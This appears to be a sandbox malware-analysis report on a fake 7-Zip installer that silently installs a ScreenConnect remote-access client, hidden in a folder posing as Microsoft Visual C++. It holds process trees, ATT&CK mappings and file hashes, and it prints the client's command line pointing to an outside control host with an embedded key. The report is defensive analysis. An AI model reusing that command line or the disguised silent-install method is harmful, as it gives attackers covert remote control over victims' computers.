Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
Token: SeRestorePrivilege	960	msiexec.exe
Token: SeTakeOwnershipPrivilege	960	msiexec.exe
Token: SeRestorePrivilege	960	msiexec.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe
4932	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5184	7z2603-x64.exe
1656	vcomp140.dll

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 4932 wrote to memory of 2580	4932	msedge.exe	83
PID 4932 wrote to memory of 4168	4932	msedge.exe	84
PID 4932 wrote to memory of 4928	4932	msedge.exe	85
PID 4932 wrote to memory of 4928	4932	msedge.exe	85
PID 4932 wrote to memory of 4928	4932	msedge.exe	85
PID 4932 wrote to memory of 2980	4932	msedge.exe	86
PID 4932 wrote to memory of 2980	4932	msedge.exe	86
PID 4932 wrote to memory of 1700	4932	msedge.exe	87
PID 4932 wrote to memory of 2256	4932	msedge.exe	88
PID 4932 wrote to memory of 1700	4932	msedge.exe	87
PID 4932 wrote to memory of 1700	4932	msedge.exe	87
PID 4932 wrote to memory of 2256	4932	msedge.exe	88
PID 4932 wrote to memory of 2256	4932	msedge.exe	88
PID 4932 wrote to memory of 2284	4932	msedge.exe	96
PID 4932 wrote to memory of 2284	4932	msedge.exe	96
PID 4932 wrote to memory of 1996	4932	msedge.exe	97
PID 4932 wrote to memory of 1996	4932	msedge.exe	97
PID 4932 wrote to memory of 2408	4932	msedge.exe	99
PID 4932 wrote to memory of 4620	4932	msedge.exe	106
PID 4932 wrote to memory of 4620	4932	msedge.exe	106
PID 4932 wrote to memory of 4620	4932	msedge.exe	106
PID 4932 wrote to memory of 4776	4932	msedge.exe	107
PID 4932 wrote to memory of 3828	4932	msedge.exe	108
PID 4932 wrote to memory of 4776	4932	msedge.exe	107
PID 4932 wrote to memory of 3828	4932	msedge.exe	108
PID 4932 wrote to memory of 3828	4932	msedge.exe	108
PID 4932 wrote to memory of 1808	4932	msedge.exe	109
PID 4932 wrote to memory of 748	4932	msedge.exe	112
PID 4932 wrote to memory of 5840	4932	msedge.exe	113
PID 4932 wrote to memory of 1616	4932	msedge.exe	114
PID 5184 wrote to memory of 3748	5184	7z2603-x64.exe	122
PID 5184 wrote to memory of 1656	5184	7z2603-x64.exe	123
PID 960 wrote to memory of 1416	960	msiexec.exe	125
PID 1416 wrote to memory of 1152	1416	MsiExec.exe	126
PID 960 wrote to memory of 4376	960	msiexec.exe	127
PID 4164 wrote to memory of 4680	4164	ScreenConnect.ClientService.exe	129
PID 4932 wrote to memory of 1616	4932	msedge.exe	131
PID 4932 wrote to memory of 1616	4932	msedge.exe	131
PID 4164 wrote to memory of 1096	4164	ScreenConnect.ClientService.exe	133
PID 4932 wrote to memory of 992	4932	msedge.exe	134

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://7zip.app
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x260,0x7ffa3a36c188,0x7ffa3a36c194,0x7ffa3a36c1a0
  2⤵
  PID:2580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1880,i,17574501984204728278,6605460492765785011,524288 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1660,i,13100136778176563638,16024999649147917875,262144 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=2168 /prefetch:2
  2⤵
  PID:4928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1856,i,523846529623497473,10557470524054471052,524288 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=2592 /prefetch:8
  2⤵
  PID:2980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3408,i,14666204575829550681,12542372692824846726,2097152 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
  2⤵
  PID:1700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3412,i,921606323528996020,5802011544228896719,2097152 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
  2⤵
  PID:2256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4732,i,17323650761151177888,14222234453008504376,524288 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=5020 /prefetch:8
  2⤵
  PID:2284
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4984,i,15187427010460451004,15280378217419618204,524288 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=5044 /prefetch:8
  2⤵
  PID:1996
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5592,i,781490868147908961,1256877062313516137,524288 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:8
  2⤵
  PID:2384
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5592,i,781490868147908961,1256877062313516137,524288 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:8
  2⤵
  PID:2408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=6112,i,11075432055546911682,10627885721468080889,2097152 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=6008 /prefetch:1
  2⤵
  PID:4620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3616,i,11108579417706645601,10941476613609969881,524288 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:8
  2⤵
  PID:4776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3592,i,3598616865235631334,3720512077307073322,2097152 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:1
  2⤵
  PID:3828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6640,i,4623115508117429576,4956622072221696311,524288 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=6648 /prefetch:8
  2⤵
  PID:1808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6644,i,3834029919159575156,11676857155601000591,524288 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=6664 /prefetch:8
  2⤵
  PID:748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6688,i,3543341006179177308,9820461658129025905,524288 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=6648 /prefetch:8
  2⤵
  PID:5840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6668,i,13556886000386544450,17201175875196555017,524288 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=6704 /prefetch:8
  2⤵
  PID:1616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,14296152361324275788,3497910358127519933,524288 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=6464 /prefetch:8
  2⤵
  PID:1616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5732,i,11460471036922118025,1502025185326587879,262144 --field-trial-handle=2172,i,15028067135368656605,10841674352424226913,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:992

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1516

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2448

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4460

C:\Users\Admin\Downloads\7z2603-x64\7z2603-x64\7z2603-x64.exe
"C:\Users\Admin\Downloads\7z2603-x64\7z2603-x64\7z2603-x64.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5184
- C:\Windows\system32\msiexec.exe
  "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\WZ9764.tmp" /qn /norestart
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3748
- C:\Users\Admin\Downloads\7z2603-x64\7z2603-x64\redist\2022\vcomp140.dll
  "C:\Users\Admin\Downloads\7z2603-x64\7z2603-x64\redist\2022\vcomp140.dll"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1656

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:960
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6451813520A2F83CABCD5C85FDA84584
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1416
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI9CA4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240754156 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1152
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding BAE838E07ABFA5CE5AF810584D313EED E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4376

C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=442.open-fast-ports.com&p=8041&s=c52308ae-3d20-40be-84d9-517bf2df0179&k=BgIAAACkAABSU0ExAAgAAAEAAQAFoyOVG4jIEujtd%2bkxr2WkaqdvykLIoOimoOKAOHyt8b36MTA599BDEMF57Ll3Q2MA51MqfR02lmtjxr8%2fEGhnCejdpI%2fXVGkqsjgC9BCtBg5LuywxyfCyEudOTuSQCdpPju23KbeuH8xk40HkXIa3Fj9E7rLz7ExJZgXudmdtyaYJyKWqirR9UuIw9%2fpGE%2fbSOAWnhkRIJwxtP2dxLEou9fgnYP83rsE1nYzh8jF%2byOMEKn28EP3SQx5zAcsfYue6CYpR4uBLkrJiRn5H1S0jjam07mZ5%2bZMMjPlDqB5RlwcyDGU9mw5xKrrcoDecSXgqRrNtlP55unFvIzO3JlPY&c=7z2603-x64"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4164
- C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.WindowsClient.exe" "RunRole" "152cf2a3-7c4c-43d2-8776-5cb8e5be0487" "User"
  2⤵
  - Executes dropped EXE
  PID:4680
- C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.WindowsClient.exe" "RunRole" "0162f0d1-2699-4a42-b5a0-e5152d4bd7cb" "System"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:1096

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e599a36.rbs

Path C:\Config.Msi\e599a36.rbs
Size 214KB
SHA256 06d06e9c876e95d010fbd80e1caf7bb62701b9118fea857fddc699ca65f2b356
MD5 d12139ea0b5f7baa8c23d06f550d1e60
SHA1 82553df12064e29fbaf404ac62fcf2680f1e3502
SHA512 293b281fb5c17fa9bfee4f5e72024dfecf8392a6e820f61931064e1019b545ddb24345d5b87ae722ecc7ad7dd8c24b232d3394bebda1c481c45abdcac44f4baa
SSDEEP 3072:q9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG5:quH2aCGw1ST1wQLdqv5
TLSH
T1CE249D217494807EE7F91A32D93F9A61BE3DF6241760C99EC3848C1E9D604C06BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.en-US.resources

Path C:\Program Files (x86)\Microsoft Visual C++ 2015\Client.Override.en-US.resources
Size 227B
SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
MD5 dfd0bdff874bb29b508f15bdd35cb6a3
SHA1 de772d64129e084d150d8087ccdac16ef97fb185
SHA512 6addfae10478871085c796f2af5a11cd78088fc49b245df2229db7546973ff9a16785c72bf61f569e16a3e79f7f48ef8c1badb91313271d9515af3d3b4b759b0
TLSH
T1D7D0A726136C1075C5620E37241531C1172BD51D9038596D9894122C5FB22074F81A22
MD5 SHA1 SHA512 TLSH

Submit Download

Client.Override.resources

Path C:\Program Files (x86)\Microsoft Visual C++ 2015\Client.Override.resources
Size 2KB
SHA256 aaffb808333049bb6b01318bad1e1a19990814f7d33bee37bc94e1e09f15bbcb
MD5 e54db6b7440e6bbe9063be09e6134378
SHA1 fbf6281b7f428c1ca5d718832fbe92026a571bf8
SHA512 f31e7a27e14147ff2ef59f9ef4b163fd7386b4dfe51a76eea2107070d07b638d6ebeb09f2e7dfaba73e1a422b4378d68100a9827b7ea5ecf719c90da894af116
TLSH
T1D05100C6E3CE9098E117157722F7B010EC73146D8899AB5BB450A20911E996C9BC3733
MD5 SHA1 SHA512 TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\Microsoft Visual C++ 2015\Client.en-US.resources
Size 48KB
SHA256 f8398a235b29af6569f2b116e0299b95512d042f5a4cd38c98c79729a5fbdb9d
MD5 511202ed0ba32d7f09eab394c917d067
SHA1 dbd611720fd1730198f72dec09e8e23e6d6488f8
SHA512 f04b08938f3ebf8cfa1a1157a94da3ae4699494bdce566619afa5b13a8f6ebe556d522c064e5ea02e343b59a489343f77e3ea2bb2ea390aae35a626f41cadc77
SSDEEP 1536:sdr6QF+gQpAfqiErOmOCqZUWi+JgJ0FQi9zwHLAhDKZ1HtRKekmrg9:sdr1F+gQOlErOmPqZUWi+JgJ0FQi9zw2
TLSH
T166232D1277FD1A58F5F36F05BE7A94619937BC6A2E25C06E1028815E09B2F80CDB2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\Microsoft Visual C++ 2015\Client.resources
Size 26KB
SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
MD5 5cd580b22da0c33ec6730b10a6c74932
SHA1 0b6bded7936178d80841b289769c6ff0c8eead2d
SHA512 c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787
SSDEEP 384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
TLSH
T10BC2D0CA33BDED98E77E63BB7DE840701737BB017D6192126C060411613528AAEA8F4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.Client.dll
Size 192KB
SHA256 c48818729f4743c8ca9e1b31c8fe3c3e4bb335ae5e5e9ac253a823f9979e582c
MD5 f25390890739e859c8706b09335ecf91
SHA1 126983a750dfb24eaf6549a3d438cf2c98d5a5d6
SHA512 d6b6d959b96648a6aeb4e695f3730d5e7705ee1cfc4e67fad0122e78cc858a1633f974601541fabb6bd45459130c726465433525d779bf9ec2f6272d315817e6
SSDEEP 3072:zS77ZHYo+NOChU9q1yt5ts2VUXEWcyzv8qOnzDvJXYp:k7io8OCS41yR4XaXqOnG
TLSH
T17B145C9673684D2AD6AF4D73B4607028CA72ED099073E66E5D04BDFA59B7380CE503E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.ClientService.dll
Size 66KB
SHA256 4505825b498071330af95e6fb49d0e4838e7f0c7afd760f46d19d0c7c20eb5e5
MD5 b7461cca3215c29d40cdd17be2a69ac8
SHA1 6e8d68ee19f522c31e303216b27b4cc733755a28
SHA512 d050b30686d14e9d5e4b626359c7a410abb1e08faa6699bd8f629f334ae479726bedffda005080ac7684786a9c375894d09b09d3a000df95902f9030f02f90c3
SSDEEP 1536:ZALNsA33YG2TaqrLYp7B0VDIuZMYQ9VflP1IEPbuKS:iLNsaqrLSB0VEcQ9VZ1IYS
TLSH
T1AE634A84A3BE9AB7C9DF4E38B8B5B0910AB1CB01D061FBAC8CC974D61B537C159147A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.ClientService.exe
Size 93KB
SHA256 c934cc868a7e985753ccaaef66d3e0714819be1d5549d600e113e09c93142cb9
MD5 4e2a6dba43154f0e1665438678fc3b22
SHA1 11e8ea7669806e0b7229ac9d6bd7d2b51143fa01
SHA512 b7e90592752e627cd22bafbb5c6db0218fb0dc6e7c346e2f3a66e61cb3e8f33f14289b985d8517f87a7705618208cb1642379987079023e5f86c31cfad35287d
SSDEEP 1536:Hg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgEU0HMY7HxA:AhbNDxZGXfdHrX7rAc6myJkgEU0HH6
TLSH
T156935A13B5C28872D473093158E0DAB49A3FF9615E61DEAB3798022A4F342C1BE75E77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsAuthenticationPackage.dll

Path C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.WindowsAuthenticationPackage.dll
Size 244KB
SHA256 7a6e2a764928322d7f1e57af61a1e463bff0cd373c19c4bd0a3dc93a845fa46d
MD5 8ab5e72cf880e64c9aabc8906f77d430
SHA1 a32c08ee5247588952796b979f5dc4899998ee67
SHA512 6f1ea2624081a7658e383120cb1b0451611624758966d572c366d2b4b6f685c4ac391850c3a6a62fe9280fe6ee12d021f17fa791fe319287cf963a8c4de3b6db
SSDEEP 3072:FJvChyA4mk0b4GvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2zt9Zgcld5i9:H0BvxDdL6d8VNdlC3g0RAnhi
TLSH
T1A9347C15B7A50CB4EC77823888535A46E7B2BC160760E6CF03E0425ADF6F7D1A63E762
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\Microsoft Visual C++ 2015\ScreenConnect.WindowsClient.exe
Size 584KB
SHA256 aa921b756893d0a0740e90469c27d047bfc0b733f38e5f1490df47baf8441d7a
MD5 f470cc302622d8f0ac53c63cdc858d38
SHA1 49de93f9fa232bb68ed43fa439a7ba2d9eb58b58
SHA512 767bac83d095f4c941f4639ce2933b44d606ada3e3786103ea0cf1c1dafb100b2760721226a609ebc5dcab1243fbcd421b6c83c3949ccd4c83ed4540393bbc23
